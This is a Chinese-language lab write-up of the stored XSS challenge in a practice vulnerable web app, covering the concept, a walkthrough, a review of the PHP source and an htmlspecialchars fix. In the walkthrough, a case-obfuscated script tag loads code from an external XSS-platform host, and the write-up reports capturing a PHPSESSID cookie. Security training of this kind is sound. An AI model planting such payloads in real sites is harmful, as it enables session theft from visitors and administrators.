1. 原理分析:为什么它是危害最大的?
在前两关(反射型 XSS)中,攻击具有 “一次性” 的特点:
- 反射型 (GET): Payload 在 URL 中,必须诱导用户点击链接。
- 反射型 (POST): Payload 在请求体中,必须诱导用户访问伪造的恶意表单页面。
它们的共同点是: Payload 并没有保存在服务器上,必须由攻击者每次主动发起(或诱导)请求才能触发。
而 存储型 XSS (Stored XSS),又称为 持久型 XSS,其攻击流程完全不同:
- 存储: 攻击者将恶意代码(Payload)提交到目标网站的数据库中(如留言板、评论区、用户简介)。
- 持久化: 服务器将这段恶意代码保存了下来。
- 触发: 之后,任何用户(包括管理员)只要访问了该页面,服务器就会从数据库读出这段代码并显示,导致恶意脚本在用户的浏览器中自动执行。
简单来说: 反射型是“点对点”的狙击,存储型是“埋地雷”,埋好之后谁踩谁炸。
2. 渗透测试过程
第一步:功能点探测
进入 存储型 xss 关卡,发现这是一个典型的留言板功能。
随便输入一些内容测试,例如 hello world,点击提交。
刷新页面,发现 hello world 依然存在。这说明输入被 保存到了后台数据库 中,每次刷新都会重新从数据库读取并显示。
第二步:植入 Payload
既然确定数据会被保存并回显,且没有任何过滤提示,我直接植入 XSS 平台生成的 Payload。
<sCRiPt sRC=//xs.pe/EHr></sCrIpT>
将上述代码填入留言内容框,点击 submit。可以看到数据被写输入到数据库中了。

第三步:验证危害 (XSS 平台上线)
点击提交后,留言列表更新。此时不需要做任何操作,仅仅是 刷新当前页面(或者让其他人访问这个页面),浏览器就会解析并执行刚才插入的脚本。
查看 XSS 平台 (TLXSS),成功收到了上线记录!

- 触发页面: http://localhost:8899/vul/xss/xss_stored.php
- Cookie: 成功获取 PHPSESSID。
- 特点: 只要不删除这条留言,以后每次(或者管理员)访问这个页面,XSS 平台就会收到一条新的记录。这就是 持久化 的威力。
3. 源码深度解析 (Code Review)
通过审查 xss_stored.php 的后端源码,我们可以清晰地看到漏洞产生的完整逻辑。
(1)输入处理:防了 SQL 注入,却漏了 XSS
看这一段处理 POST 提交的代码:
if(array_key_exists("message",$_POST) && $_POST['message']!=null){// 关键点在这里:escape() 函数
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
// ... 执行插入 ...
}
分析:
- 这里调用了一个
escape()函数(在mysql.inc.php中定义,通常是对mysqli_real_escape_string的封装)。 - 误区: 很多开发者认为用了
escape就安全了。 - 真相:
escape()的作用是转义 SQL 语句中的特殊字符(如单引号'),防止 SQL 注入 。但是,它 不会 转义 HTML 字符(如<>&)。 - 结果: 当我们输入
<script>...时,escape认为这不是 SQL 攻击,于是原样放行。恶意脚本就这样被完整地存入了数据库。
(2) 输出处理:致命的直接回显
再看页面底部的显示逻辑:
$query="select * from message";
$result=execute($link, $query);
while($data=mysqli_fetch_assoc($result)){
// 漏洞爆发点:直接 echo
echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'> 删除 </a>";
}
分析:
- 代码从数据库取出
content字段后,直接使用echo输出到了 HTML 页面中。 - 缺失防御: 这里完全没有任何 HTML 实体编码函数(如
htmlspecialchars())。 - 后果: 浏览器解析到数据库里取出的
<script>标签时,不会把它当做文本显示,而是当做代码执行。这就是存储型 XSS 的本质。
(3)有趣的“彩蛋”(SQL 注入)
源码中还藏了一段有趣的注释:
if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
// 彩蛋: 虽然这是个存储型 xss 的页面, 但这里有个 delete 的 sql 注入
$query="delete from message where id={$_GET['id']}";
// ...
}
分析:
- 作者注释说这里有 SQL 注入。
- 但代码中使用了
is_numeric($_GET['id'])进行校验。通常情况下,is_numeric能很好地防御基于数字型的 SQL 注入(因为它禁止了字符输入)。 - 这里可能存在特定版本的绕过或者是作者留下的思考题(在严格环境下
is_numeric是安全的,但在宽字节注入等极端场景下可能有变数,但在本关卡中,重点依然是 XSS)。
4. 修复代码
要修复这个漏洞,不需要改动数据库存入的逻辑(输入时最好保持原样),而是在 输出时 进行处理:
修改前:
echo "<p class='con'>{$data['content']}</p>";
修改后:
// 使用 htmlspecialchars 将 < > 转义为 < >
echo "<p class='con'>" . htmlspecialchars($data['content']) . "</p>";
数据清洗 和 输出编码 是两码事。防止了 SQL 注入并不代表防止了 XSS,每一层防御都需要专门的处理函数。的输入,在 “入库” 和 “出库显示” 的两个环节中,均没有对特殊字符(< > ‘ “)进行 HTML 实体编码转义。
5. 总结
存储型 XSS 是 web 安全中必须高度重视的漏洞。在实战中,它常出现在 评论区、个人资料修改、工单系统、私信 等位置。一旦攻击者成功注入,所有访问该页面的用户都会沦为受害者,极易引发蠕虫式攻击。